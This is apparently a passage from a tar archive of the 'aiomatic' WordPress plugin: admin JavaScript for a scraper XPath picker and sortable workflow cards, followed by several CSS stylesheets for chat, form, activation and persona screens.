myDest = jQuery(this).attr('data-target-field-id'); } if (myDest == '') { return; } if (mySrc === undefined || mySrc.indexOf('http') == -1) { alert('You did not enter a valid crawling start URL (in the "Scraper Start (Seed) URL" settings field)'); return; } var crawlCookie = ''; var htuser = ''; var phantom_wait = ''; var clickelement = ''; var customUA = ''; var scripter = ''; var request_delay = ''; var local_storage = ''; var enable_adblock = '0'; var auto_captcha = '0'; var usephantom = jQuery('#sc' + myDest).val(); var iframeUrl = aiomatic_ajax_object.ajax_url + '?action=aiomatic_iframe&nonce=' + aiomatic_ajax_object.nonce + '&address=' + encodeURIComponent(mySrc); if (crawlCookie != '') { iframeUrl += '&crawlCookie=' + encodeURIComponent(crawlCookie); } if (clickelement != '') { iframeUrl += '&clickelement=' + encodeURIComponent(clickelement); } if (usephantom != '') { iframeUrl += '&usephantom=' + encodeURIComponent(usephantom); } if (customUA != '') { iframeUrl += '&customUA=' + encodeURIComponent(customUA); } if (htuser != '') { iframeUrl += '&htuser=' + encodeURIComponent(htuser); } if (phantom_wait != '') { iframeUrl += '&phantom_wait=' + encodeURIComponent(phantom_wait); } if (request_delay != '') { iframeUrl += '&request_delay=' + encodeURIComponent(request_delay); } if (scripter != '') { iframeUrl += '&scripter=' + encodeURIComponent(scripter); } if (local_storage != '') { iframeUrl += '&local_storage=' + encodeURIComponent(local_storage); } if (enable_adblock == '1') { iframeUrl += '&enable_adblock=1'; } if (auto_captcha == '1') { iframeUrl += '&auto_captcha=1'; } $('.aiomatic_iframe__overlay .aiomatic_iframe__scaleWrap').append('<iframe id="cr_page_frame" src="' + iframeUrl + '">'); $('.aiomatic_iframe__overlay').fadeIn(750); $("#cr_page_frame").on("load", function() { $('.aiomatic_iframe__scaleWrap').css('visibility', 'visible'); var prev; var doc = document.getElementById("cr_page_frame").contentDocument; doc.body.onmouseover = handler; function handler(event) { if (event.target === doc.body || (prev && prev === event.target)) { return; } if (prev instanceof SVGElement) { prev.classList.remove('highlight'); prev = undefined; } else if (prev && prev.className) { prev.className = prev.className.replace(/\bhighlight\b/, ''); prev = undefined; } if (event.target) { prev = event.target; if (prev instanceof SVGElement) { prev.classList.add('highlight'); } else { prev.className += " highlight"; } } } $("#cr_page_frame").contents().find("body *").on('click', function() { if (jQuery(this).hasClass('highlight')) { var xpathval = ''; var element = $(this)[0]; if (element && element.id && !(element.id.match(/[0-9]+/))) xpathval = "//*[@id='" + element.id + "']"; else xpathval = getPathTo(element); jQuery('#st' + myDest).val(xpathval); updateSortableInputAI(myID, ''); $('.aiomatic_iframe__overlay').fadeOut(750, function() { $(this).find('iframe').remove(); jQuery('.aiomatic_iframe__scaleWrap').css('visibility', 'hidden'); }); return false; } }); }); $('.aiomatic_iframe__overlay iframe').on('click', function(e) { e.stopPropagation(); }); $('.aiomatic_iframe__overlay').on('click', function(e) { e.preventDefault(); $('.aiomatic_iframe__overlay').fadeOut(750, function() { $(this).find('iframe').remove(); jQuery('.aiomatic_iframe__scaleWrap').css('visibility', 'hidden'); }); }); }); jQuery.aiomatic_iframe(); jQuery(document).on('click','.delete-btn', function (e) { e.preventDefault(); unsaved = true; var list = jQuery(this).closest('ul'); if (list.children('li').length > 1) { var li = e.target.closest('li'); li.parentNode.removeChild(li); } else { alert("You cannot delete the last element."); } }); jQuery(document).on('click','#add-new-btn', function (e) { e.preventDefault(); unsaved = true; var cloned = jQuery('#aiomatic_new_card_types li:visible').clone(true); cloned.removeAttr('id'); var clonedHtml = cloned.prop('outerHTML'); var idMap = {}; var midHtml = clonedHtml.replace(/id="xai[0-9a-f]+"/g, function(match) { return replaceId(match, idMap); }); var newHtml = midHtml.replace(/data-id-str="xai[0-9a-f]+"/g, function(match) { return replaceDataId(match, idMap); }); cloned = jQuery(newHtml); if (cloned.hasClass('selected')) { cloned.removeClass('selected'); } jQuery('#aiomatic_new_card_types li:visible').find('input, textarea, select').each(function(index) { var index = jQuery(this).attr('data-clone-index'); if(index != null && index != '' && index != undefined) { var clonedElement = cloned.find('[data-clone-index="' + index + '"]'); if (jQuery(this).is(':checkbox') || jQuery(this).is(':radio')) { clonedElement.prop('checked', jQuery(this).is(':checked')); } else { clonedElement.val(jQuery(this).val()); } } }); var retme = cloned.appendTo('#aiomatic_sortable_cards').show(); updateSortableInputAI('', ''); $('#aiomatic_sortable_cards .delete-btn').prop('disabled', false); $('#aiomatic_sortable_cards .move-up-btn').prop('disabled', false); $('#aiomatic_sortable_cards .move-down-btn').prop('disabled', false); updateCardSteps(''); return retme; }); jQuery(document).on('click','#add-new-btn_new', function (e) { e.preventDefault(); unsaved = true; var cloned = jQuery('#aiomatic_new_card_types_new li:visible').clone(true); cloned.removeAttr('id'); var clonedHtml = cloned.prop('outerHTML'); var idMap = {}; var midHtml = clonedHtml.replace(/id="xai[0-9a-f]+"/g, function(match) { return replaceId(match, idMap); }); var newHtml = midHtml.replace(/data-id-str="xai[0-9a-f]+"/g, function(match) { return replaceDataId(match, idMap); }); cloned = jQuery(newHtml); if (cloned.hasClass('selected')) { cloned.removeClass('selected'); } jQuery('#aiomatic_new_card_types_new li:visible').find('input, textarea, select').each(function(index) { var index = jQuery(this).attr('data-clone-index'); if(index != null && index != '' && index != undefined) { var clonedElement = cloned.find('[data-clone-index="' + index + '"]'); if (jQuery(this).is(':checkbox') || jQuery(this).is(':radio')) { clonedElement.prop('checked', jQuery(this).is(':checked')); } else { clonedElement.val(jQuery(this).val()); } } }); var retme = cloned.appendTo('#aiomatic_sortable_cards_new').show(); updateSortableInputAI('', '_new'); $('#aiomatic_sortable_cards_new .delete-btn').prop('disabled', false); $('#aiomatic_sortable_cards_new .move-up-btn_new').prop('disabled', false); $('#aiomatic_sortable_cards_new .move-down-btn_new').prop('disabled', false); updateCardSteps(''); return retme; }); jQuery(document).on('click','#add-new-btn_edit', function (e) { e.preventDefault(); unsaved = true; var cloned = jQuery('#aiomatic_new_card_types_edit li:visible').clone(true); cloned.removeAttr('id'); var clonedHtml = cloned.prop('outerHTML'); var idMap = {}; var midHtml = clonedHtml.replace(/id="xai[0-9a-f]+"/g, function(match) { return replaceId(match, idMap); }); var newHtml = midHtml.replace(/data-id-str="xai[0-9a-f]+"/g, function(match) { return replaceDataId(match, idMap); }); cloned = jQuery(newHtml); if (cloned.hasClass('selected')) { cloned.removeClass('selected'); } jQuery('#aiomatic_new_card_types_edit li:visible').find('input, textarea, select').each(function(index) { var index = jQuery(this).attr('data-clone-index'); if(index != null && index != '' && index != undefined) { var clonedElement = cloned.find('[data-clone-index="' + index + '"]'); if (jQuery(this).is(':checkbox') || jQuery(this).is(':radio')) { clonedElement.prop('checked', jQuery(this).is(':checked')); } else { clonedElement.val(jQuery(this).val()); } } }); var retme = cloned.appendTo('#aiomatic_sortable_cards_edit').show(); updateSortableInputAI('', '_edit'); $('#aiomatic_sortable_cards_edit .delete-btn').prop('disabled', false); $('#aiomatic_sortable_cards_edit .move-up-btn_edit').prop('disabled', false); $('#aiomatic_sortable_cards_edit .move-down-btn_edit').prop('disabled', false); updateCardSteps(''); return retme; }); jQuery(document).on('click','.move-up-btn', function (e) { e.preventDefault(); unsaved = true; var currentLi = e.target.closest('li'); var customID = currentLi.getAttribute("data-id-str"); var prevLi = currentLi.previousElementSibling; if (prevLi) { var sortableList = document.getElementById('aiomatic_sortable_cards' + customID); sortableList.insertBefore(currentLi, prevLi); } }); jQuery(document).on('click','.move-up-btn_new', function (e) { e.preventDefault(); var currentLi = e.target.closest('li'); var customID = currentLi.getAttribute("data-id-str"); var prevLi = currentLi.previousElementSibling; if (prevLi) { var sortableList = document.getElementById('aiomatic_sortable_cards_new' + customID); sortableList.insertBefore(currentLi, prevLi); } }); jQuery(document).on('click','.move-up-btn_edit', function (e) { e.preventDefault(); var currentLi = e.target.closest('li'); var customID = currentLi.getAttribute("data-id-str"); var prevLi = currentLi.previousElementSibling; if (prevLi) { var sortableList = document.getElementById('aiomatic_sortable_cards_edit' + customID); sortableList.insertBefore(currentLi, prevLi); } }); jQuery(document).on('click','.move-down-btn', function (e) { e.preventDefault(); unsaved = true; var currentLi = e.target.closest('li'); var customID = currentLi.getAttribute("data-id-str"); var nextLi = currentLi.nextElementSibling; if (nextLi) { var sortableList = document.getElementById('aiomatic_sortable_cards' + customID); sortableList.insertBefore(nextLi, currentLi); } }); jQuery(document).on('click','.move-down-btn_new', function (e) { e.preventDefault(); var currentLi = e.target.closest('li'); var customID = currentLi.getAttribute("data-id-str"); var nextLi = currentLi.nextElementSibling; if (nextLi) { var sortableList = document.getElementById('aiomatic_sortable_cards_new' + customID); sortableList.insertBefore(nextLi, currentLi); } }); jQuery(document).on('click','.move-down-btn_edit', function (e) { e.preventDefault(); var currentLi = e.target.closest('li'); var customID = currentLi.getAttribute("data-id-str"); var nextLi = currentLi.nextElementSibling; if (nextLi) { var sortableList = document.getElementById('aiomatic_sortable_cards_edit' + customID); sortableList.insertBefore(nextLi, currentLi); } }); jQuery(document).on('mousedown','.omniblock-card', function (e) { if (jQuery(e.target).closest('button').length) { return; } if (jQuery(this).hasClass('selected')) { jQuery('.omniblock-card').removeClass('selected'); } else { jQuery('.omniblock-card').removeClass('selected'); jQuery(this).addClass('selected'); } }); jQuery(document).on('click','textarea, input[type="text"], input[type="number"], input[type="url"]', function() { jQuery(document).data('aiLastFocused', jQuery(this).attr('id')); }); jQuery(document).on('click','.aicollapsible', function (e) { e.preventDefault(); if (jQuery(this).hasClass('selected')) { jQuery(this).removeClass('selected'); } else { jQuery(this).addClass('selected'); } $(this).closest('.omniblock-card').find('.aicollapsible-parameters').toggle(); }); jQuery(document).on('click','.aishortcodes', function (e) { e.preventDefault(); var textToAppend = jQuery(this).text(); var idToUse = jQuery(this).attr("data-id-str"); var i = jQuery(this).attr("data-index"); var datasuf = jQuery(this).attr("data-suff"); if(datasuf == '' || datasuf == undefined || datasuf == null) { datasuf = ''; } if(idToUse !== undefined) { var parentCard = jQuery('#' + idToUse); if(parentCard !== undefined) { var lastFocusedId = jQuery(document).data('aiLastFocused'); if (lastFocusedId == idToUse) { var currentVal = parentCard.val(); var startPos = parentCard[0].selectionStart; var endPos = parentCard[0].selectionEnd; var textBefore = currentVal.substring(0, startPos); var textAfter = currentVal.substring(endPos); parentCard.val(textBefore + textToAppend + textAfter); var newCursorPos = startPos + textToAppend.length; parentCard[0].setSelectionRange(newCursorPos, newCursorPos); } else { parentCard.val(parentCard.val() + textToAppend); } if(i !== undefined) { updateSortableInputAI(i, datasuf); } } } }); }); function replaceId(match, idMap) { var originalId = match.slice(4, -1); if (!idMap[originalId]) { idMap[originalId] = 'xai' + jsuniqid(); } return 'id="' + idMap[originalId] + '"'; } function replaceDataId(match, idMap) { var originalDataId = match.slice(13, -1); if (!idMap[originalDataId]) { idMap[originalDataId] = 'xai' + jsuniqid(); } return 'data-id-str="' + idMap[originalDataId] + '"'; } function aiBlockTypeChangeHandler(i) { const listItems = document.querySelectorAll('#aiomatic_new_card_types' + i + ' > li'); listItems.forEach(listItem => { listItem.style.display = 'none'; }); jQuery('.omniblock-card new-card').hide(); var omni_select_block_type = jQuery('#omni_select_block_type' + i).val(); jQuery('#' + omni_select_block_type + i).show(); } function aiBlockTypeChangeHandler_new(i) { const listItems = document.querySelectorAll('#aiomatic_new_card_types_new' + i + ' > li'); listItems.forEach(listItem => { listItem.style.display = 'none'; }); jQuery('.omniblock-card new-card').hide(); var omni_select_block_type = jQuery('#omni_select_block_type_new' + i).val(); jQuery('#' + omni_select_block_type + i + '_new').show(); } function aiBlockTypeChangeHandler_edit(i) { const listItems = document.querySelectorAll('#aiomatic_new_card_types_edit' + i + ' > li'); listItems.forEach(listItem => { listItem.style.display = 'none'; }); jQuery('.omniblock-card new-card').hide(); var omni_select_block_type = jQuery('#omni_select_block_type_edit' + i).val(); jQuery('#' + omni_select_block_type + i + '_edit').show(); } function updateCardSteps(i) { jQuery('#aiomatic_sortable_cards' + i + ' > li').each(function(index) { jQuery(this).find('.step-number').text('Step ' + (index + 1)); }); } function jsuniqid(prefix = '', moreEntropy = false) { const time = new Date().getTime(); const randomPortion = Math.floor(Math.random() * 1000000); let uniqid = prefix + time.toString(16) + randomPortion.toString(16); if (moreEntropy) { const extraRandomPortion = Math.floor(Math.random() * 1000000); uniqid += extraRandomPortion.toString(16); } return uniqid; } function aiomatic_increment(string) { let lastChar = string.charAt(string.length - 1); let rest = string.substring(0, string.length - 1); let next; switch (lastChar) { case '': next = 'a'; break; case 'z': next = 'A'; break; case 'Z': next = '0'; break; case '9': rest = aiomatic_increment(rest); next = 'a'; break; default: next = String.fromCharCode(lastChar.charCodeAt(0) + 1); } return rest + next; }��������������������������styles/form-front.css�������������������������������������������������������������������������������0000644�����������������00000026307�14757771437�0010730 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.aiomatic-jumping-dots span { position: relative; bottom: 0; -webkit-animation: aiomatic-jump 1500ms infinite; animation: aiomatic-jump 2s infinite; } .aiomatic-jumping-dots .aiomatic-dot-1{ -webkit-animation-delay: 200ms; animation-delay: 200ms; } .aiomatic-jumping-dots .aiomatic-dot-2{ -webkit-animation-delay: 400ms; animation-delay: 400ms; } .aiomatic-jumping-dots .aiomatic-dot-3{ -webkit-animation-delay: 600ms; animation-delay: 600ms; } @-webkit-keyframes aiomatic-jump { 0% {bottom: 0px;} 20% {bottom: 5px;} 40% {bottom: 0px;} } @keyframes aiomatic-jump { 0% {bottom: 0px;} 20% {bottom: 5px;} 40% {bottom: 0px;} } .code-form-top-pad{padding-top: 10px;} .aiomatic-window { position: fixed; right: 0px; padding-right: 20px; padding-left: 20px; bottom: 30px; width: var(--aiomatic-width); z-index: 9999; } .aiomatic-window .aiomatic-header { display: none; justify-content: flex-end; align-items: center; } .aiomatic-window .aiomatic-header .aiomatic-buttons { display: flex; align-items: center; margin-bottom: 5px; } .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-resize-button { justify-content: center; height: 32px; width: 33px; cursor: pointer; display: flex; justify-content: center; align-items: center; background-color: var(--aiomatic-backgroundSecondaryColor); border-radius: var(--aiomatic-borderRadius); } .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-resize-button:before { transition: all 0.2s ease-out; content: ' '; cursor: pointer; position: absolute; height: 13px; width: 13px; opacity: 0.75; border: 2px solid var(--aiomatic-headerButtonsColor); } .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-resize-button:hover:before { width: 16px; height: 16px; } .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-close-button { margin-left: 5px; justify-content: center; height: 32px; width: 33px; cursor: pointer; background-color: var(--aiomatic-backgroundSecondaryColor); border-radius: var(--aiomatic-borderRadius); } .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-close-button:before { transition: all 0.2s ease-out; transform: translate(16px, 5px) rotate(45deg); } .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-close-button:after { transition: all 0.2s ease-out; transform: translate(16px, 5px) rotate(-45deg); } .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-close-button:before, .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-close-button:after { content: ' '; cursor: pointer; position: absolute; height: 22px; width: 2px; background-color: var(--aiomatic-headerButtonsColor); opacity: 0.75; } .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-close-button:hover:before { opacity: 1; transform: translate(16px, 5px) rotate(135deg); } .aiomatic-window .aiomatic-header .aiomatic-buttons .aiomatic-close-button:hover:after { opacity: 1; transform: translate(16px, 5px) rotate(45deg); } .aiomatic-window .aiomatic-content { display: none; opacity: 0; max-height: var(--aiomatic-maxHeight); } .aiomatic-window.aiomatic-bottom-left { bottom: 30px; right: inherit; left: 0px; padding-left: 30px; padding-right: 30px; } .aiomatic-window.aiomatic-bottom-left .aiomatic-open-button { right: inherit; left: 0; } .aiomatic-window.aiomatic-top-right { top: 30px; bottom: inherit; right: 0px; padding-right: 30px; padding-left: 30px; } .aiomatic-window.aiomatic-top-right .aiomatic-open-button { top: 0; bottom: inherit; } .aiomatic-window.aiomatic-top-left { top: 30px; bottom: inherit; right: inherit; left: 0px; padding-left: 30px; padding-right: 30px; } .aiomatic-window.aiomatic-top-left .aiomatic-open-button { top: 0; bottom: inherit; right: inherit; left: 0; } .aiomatic-close-button { font-size: 20px; cursor: pointer; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .aiomatic-open-button { cursor: pointer; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .ai-chat { display: block; padding: 20px; overflow:scroll; overflow-x:hidden; overflow-y: auto; height: 100%; max-height: 500px; } .chat-form-control { max-height: 90px; font-size: 1rem; line-height: 1.5; border-radius: 0.25rem; background-color: #f7f7f9; border-color: #e1e3e6; box-shadow: none; width: 100%!important; max-width: 100%!important; transition: box-shadow 0.15s ease-in-out, border-color 0.15s ease-in-out; resize: vertical; } .chat-form-control:focus { border-color: #55a7e2; box-shadow: 0 0 0 0.2rem rgba(85, 167, 226, 0.25); } .ai-bubble { cursor: pointer; } .ai-chat .ai-bubble { padding: 10px; border-radius: 10px; margin-bottom: 10px; max-width: 100%; } .ai-chat .ai-bubble.ai-mine { background-color: #0084ff; color: white; } .ai-chat .ai-bubble.ai-other { background-color: #f0f0f0; color: black; } #aiomatic_image_instruction { float: left; width: 100%; margin-top: 10px; background-color: white; } .aiomatic-image-textarea { margin-bottom: 10px; } .aiomatic-edit-textarea { width: 100%; padding: 12px 20px; box-sizing: border-box; border: 1px solid #ccc; border-radius: 4px; } .aiomatic-image-instruction-area { width: 100%; padding: 12px 20px; box-sizing: border-box; border: 1px solid #ccc; border-radius: 4px; } #aiomatic_edit_input { float: left; width: 60%; margin-top: 10px; background-color: white; } #aiomatic_edit_instruction { float: left; width: 40%; margin-top: 10px; background-color: white; } #aiomatic_edit_response { float: right; width: 100%; margin-top: 10px; background-color: #f8f8f8; } .openai-ai-form { max-width: 800px; margin: 0 auto; } .openai-ai-form .form-group { margin-bottom: 1rem; } .openai-ai-form-alt { max-width: 800px; margin: 0 auto; } .openai-ai-form-alt .form-group { margin-bottom: 1rem; } .ai-writing-icon { animation: writing 1s infinite; } .aiomatic-ai-input { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; box-shadow: none; -webkit-box-shadow: none; display: block; width: 100% !important; max-width: 100% !important; padding: 10px 15px 10px 15px; outline: none; font-weight: normal; border: 1px solid rgba(45, 45, 45, 0.3); background-color: transparent; color: #333333; } @keyframes writing { 0% { transform: translateX(0); } 100% { transform: translateX(10px); } } .openai-ai-form .form-control { font-size: 1rem; line-height: 1.5; border-radius: 0.25rem; background-color: #f7f7f9; border-color: #e1e3e6; box-shadow: none; transition: box-shadow 0.15s ease-in-out, border-color 0.15s ease-in-out; resize: vertical; min-height: 250px; } .openai-ai-form-alt .form-control { font-size: 1rem; line-height: 1.5; border-radius: 0.25rem; background-color: #f7f7f9; border-color: #e1e3e6; box-shadow: none; transition: box-shadow 0.15s ease-in-out, border-color 0.15s ease-in-out; resize: vertical; min-height: 250px; } .speech-to-text-container { position: absolute; top: 0; right: 0; } .highlight-text-fail { color: #dc3545; font-weight: bold; font-size: 12px; } .highlight-text { font-weight: bold; font-size: 12px; } .highlight-green { background-color: #d2f4d3; color: #000000; padding: 0.2em; } .openai-ai-form .form-control:focus { border-color: #55a7e2; box-shadow: 0 0 0 0.2rem rgba(85, 167, 226, 0.25); } .openai-ai-form-alt .form-control:focus { border-color: #55a7e2; box-shadow: 0 0 0 0.2rem rgba(85, 167, 226, 0.25); } [contenteditable=true]:empty:before{ content: attr(placeholder); pointer-events: none; display: block; } #aiomatic_input { overflow: auto; min-height: 250px; resize: vertical; } #aiomatic_input { font-size: 1rem; line-height: 1.5; border-radius: 0.25rem; background-color: #f7f7f9; border-color: #e1e3e6; box-shadow: none; transition: box-shadow 0.15s ease-in-out, border-color 0.15s ease-in-out; overflow: auto; min-height: 250px; resize: vertical; } #aiomatic_input:focus { border-color: #55a7e2; box-shadow: 0 0 0 0.2rem rgba(85, 167, 226, 0.25); } .openai-ai-form .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: 0.375rem 0.75rem; font-size: 1rem; line-height: 1.5; border-radius: 0.25rem; transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } .openai-ai-form .btn:hover { color: #212529; background-color: #e2e6ea; border-color: #dae0e5; } .openai-ai-form .btn:focus { outline: 0; box-shadow: 0 0 0 0.2rem rgba(238, 238, 238, 0.5); } .openai-ai-form-alt .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: 0.375rem 0.75rem; font-size: 1rem; line-height: 1.5; border-radius: 0.25rem; transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } .openai-ai-form-alt .btn:hover { color: #212529; background-color: #e2e6ea; border-color: #dae0e5; } .openai-ai-form-alt .btn:focus { outline: 0; box-shadow: 0 0 0 0.2rem rgba(238, 238, 238, 0.5); } .cr_image_center { text-align: center; } .openai-ai-form .btn-primary { color: #fff; } .openai-ai-form .btn-primary:hover { color: #fff; } .openai-ai-form .btn-primary:focus { box-shadow: 0 0 0 0.2rem rgba(85, 167, 226, 0.5); } .openai-ai-form-alt .btn-primary { color: #fff; background-color: #55a7e2; border-color: #55a7e2; } .openai-ai-form-alt .btn-primary:hover { color: #fff; background-color: #3f92d2; border-color: #3f92d2; } .openai-ai-form-alt .btn-primary:focus { box-shadow: 0 0 0 0.2rem rgba(85, 167, 226, 0.5); } #openai-response { margin-top: 1rem; } #openai-response .spinner-border { width: 2rem; height: 2rem; min-height: 2rem; } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/aiomatic-activation.css����������������������������������������������������������������������0000644�����������������00000003054�14757771437�0012556 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.verification-container { font-family: 'Arial', sans-serif; background-color: #f4f4f4; margin: 0; padding: 0; max-width: 600px; margin: 50px auto; background: #fff; padding: 30px; border-radius: 10px; box-shadow: 0 4px 10px rgba(0,0,0,0.1); border: 1px solid #e1e1e1; } .help-section { display: flex; align-items: center; margin-bottom: 20px; } .help-icon { font-size: 30px; color: #007cba; margin-right: 15px; } .help-text { font-size: 14px; line-height: 1.6; color: #333; background: #f1f1f1; padding: 15px; border-radius: 8px; border: 1px solid #ddd; } .help-text a { color: #007cba; text-decoration: none; } .help-text a:hover { text-decoration: underline; } .input-section { margin-top: 20px; } .input-section label { display: block; margin-bottom: 10px; font-size: 16px; font-weight: bold; color: #444; } .input-text { width: 100%; padding: 15px; border: 1px solid #ddd; border-radius: 8px; box-shadow: inset 0 1px 3px rgba(0,0,0,0.1); margin-bottom: 20px; font-size: 16px; } .modern-button { display: inline-block; background-color: #007cba; border: none; color: #fff; padding: 15px 30px; border-radius: 8px; font-size: 16px; font-weight: bold; cursor: pointer; transition: background-color 0.3s ease; } .modern-button:hover { background-color: #005a8c; }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/magic.css������������������������������������������������������������������������������������0000644�����������������00000010655�14757771437�0007716 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/**************** Extensions *********************/ .aiomatic-magic-box-wrap{ width: 25%; min-width: 300px; max-width: 465px; padding: 20px; padding-left: 0px; float: left; box-sizing: border-box; height: 300px; color: #fff !important; } .aiomatic-magic-feat-not-available{ background-color: #C99999 !important; } .aiomatic-magic-box-wrap a{ text-decoration: none; } .aiomatic-magic-box-wrap .aiomatic-magic-feature{ display: block; height: 100%; width: 100%; font-family: "Roboto", sans-serif; overflow: hidden; position: relative; background-color: #f16186; background-color: #f25a68; position:relative; -webkit-transition: top 1.4s ease, left 0.4s ease, box-shadow 0.5s ease; -moz-transition: top 1.4s ease, left 0.4s ease, box-shadow 0.5s ease; -o-transition: top 1.4s ease, left 0.4s ease, box-shadow 0.5s ease; -ms-transition: top 1.4s ease, left 0.4s ease, box-shadow 0.5s ease; transition: top 1.4s ease, left 0.4s ease, box-shadow 0.5s ease; } .aiomatic-magic-box-wrap .aiomatic-magic-feature:hover{ top:-5px; box-shadow: 5px 0px 30px rgba(0,0,0,0.2); -webkit-box-shadow: 5px 0px 30px rgba(0,0,0,0.2); -moz-box-shadow: 5px 0px 30px rgba(0,0,0,0.2); } .aiomatic-magic-box-wrap .aiomatic-magic-feature .aiomatic-magic-box-title{ margin: 3px 5px; line-height: 35px; font-family: "Roboto", sans-serif; font-size: 28px; font-weight: 300; overflow: hidden; text-align: center; color:#fff; } .aiomatic-disabled-box { opacity: .5 } .aiomatic-magic-box-wrap .aiomatic-magic-feature .aiomatic-magic-box-icon{ font-size: 90px; text-align: center; line-height: 103px; padding-top: 10px; box-sizing: border-box; color:#fff; } .aiomatic-magic-box-wrap .aiomatic-magic-feature .aiomatic-magic-box-desc{ font-family: "Roboto", sans-serif; font-size: 13px; font-weight: 300; line-height: 16px; color: #fff; text-align: center; padding:0 5px; } .aiomatic-new-extension-box { background-color: rgba(0,0,0,.05)!important; border: 1px solid #ddd!important; border-radius: 10px } .aiomatic-new-extension-box .aiomatic-magic-box-title { color: #777!important; font-weight: 400!important; text-shadow: 1px 1px rgba(255,255,255,.6) } .aiomatic-new-extension-box .aiomatic-magic-box-icon { color: #bbb!important; text-shadow: 1px 1px rgba(255,255,255,.6); color: #999!important; opacity: .7; font-size: 100px!important } .aiomatic-top-message-new-extension { padding: 15px; margin-bottom: 10px; margin-right: 20px; border: 1px solid transparent; border-radius: 4px; color: #7d8a9d; background-color: rgba(255,255,255,.8); border-color: #ddd; line-height: 1.4em; font-size: 14px } .aiomatic-adm-ribbon { width: 75px; height: 75px; overflow: hidden; position: absolute; } .aiomatic-adm-ribbon::before, .aiomatic-adm-ribbon::after { position: absolute; z-index: -1; content: ''; display: block; border: 5px solid #2980b9; border: 4px solid #8e8e8e; } .aiomatic-adm-ribbon span { position: absolute; display: block; width: 120px; padding: 6px 0; background-color: #3498db; box-shadow: 0 5px 10px rgba(0,0,0,.1); color: #fff; font: 700 18px/1 'Lato', sans-serif; text-shadow: 0 1px 1px rgba(0,0,0,.2); text-transform: uppercase; text-align: center; background-color: #ffffff; color: #222; } .aiomatic-adm-ribbon-top-left { top: -7px; left: -7px; } .aiomatic-adm-ribbon-top-left::before, .aiomatic-adm-ribbon-top-left::after { border-top-color: transparent; border-left-color: transparent; } .aiomatic-adm-ribbon-top-left::before { top: -1px; right: 0; } .aiomatic-adm-ribbon-top-left::after { bottom: 0; left: -1px; } .aiomatic-adm-ribbon-top-left span { right: -12px; top: 12px; transform: rotate(-45deg); } .aiomatic-adm-ribbon-top-right { top: -7px; right: -7px; } .aiomatic-adm-ribbon-top-right::before, .aiomatic-adm-ribbon-top-right::after { border-top-color: transparent; border-right-color: transparent; } .aiomatic-adm-ribbon-top-right::before { top: -1px; left: 0; } .aiomatic-adm-ribbon-top-right::after { bottom: 0; right: -1px; } .aiomatic-adm-ribbon-top-right span { left: -12px; top: 12px; transform: rotate(45deg); }�����������������������������������������������������������������������������������styles/aiomatic-persona.css�������������������������������������������������������������������������0000644�����������������00000005307�14757771437�0012067 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#aiomatic-preview-image { border-radius: 50%!important; } #aiomatic-preview-image-b { border-radius: 50%!important; } #aiomatic-preview-image-user { border-radius: 50%!important; } #aiomatic-preview-image-user-b { border-radius: 50%!important; } #postimagediv .inside img { border-radius: 50%!important; } .aiomatic-number-font { font-weight: 700; font-size: 15px; margin-bottom: 0.5rem !important; line-height: 1.1; color: inherit; margin-top: 10px; } #customized_chatbot { user-select: all; cursor: pointer; } .aiomatic-tab-disabled { pointer-events: none; color: #ccc; } .aiomatic-text-muted { font-size: 13px; color: #728096 !important; margin-bottom: 0.5rem !important; font-weight: 400; } .aiomatic-rounded-circle { border-radius: 50%!important; } .aiomatic-text-center { text-align: center; } .ai-user-avatar { width:150px; height:150px; } .aiomatic-col-lg-3 { flex: 0 0 24%; max-width: 24%; position: relative; width: 100%; min-height: 1px; padding-right: 0.35rem; padding-left: 0.35rem; padding-bottom: 10px; } @media only screen and (max-width: 1400px) { .aiomatic-col-lg-3 { flex: 0 0 23%; max-width: 23%; } } @media only screen and (max-width: 1200px) { .aiomatic-col-lg-3 { flex: 0 0 47%; max-width: 47%; } } .aiomatic-chat-boxes { position: relative; margin-top: -1.5rem; cursor: pointer; transition: all 0.2s ease-in-out; } .aiomatic-chat-boxes:hover, .aiomatic-chat-boxes:focus { transform: scale(1.05); z-index: 100; } .aiomatic-card-body { min-height: 155px; flex: 1 1 auto; margin: 0; padding: 1rem 1.5rem; position: relative; padding-top: 0.75rem !important; font-family: "Poppins", sans-serif; background-color: #eee; } .aiomatic-widget-user-image { clear: both; margin: 0 auto; display: block; border-radius: 100%; position: relative; overflow: hidden; } .aiomatic-card { font-family: "Lato", sans-serif; position: 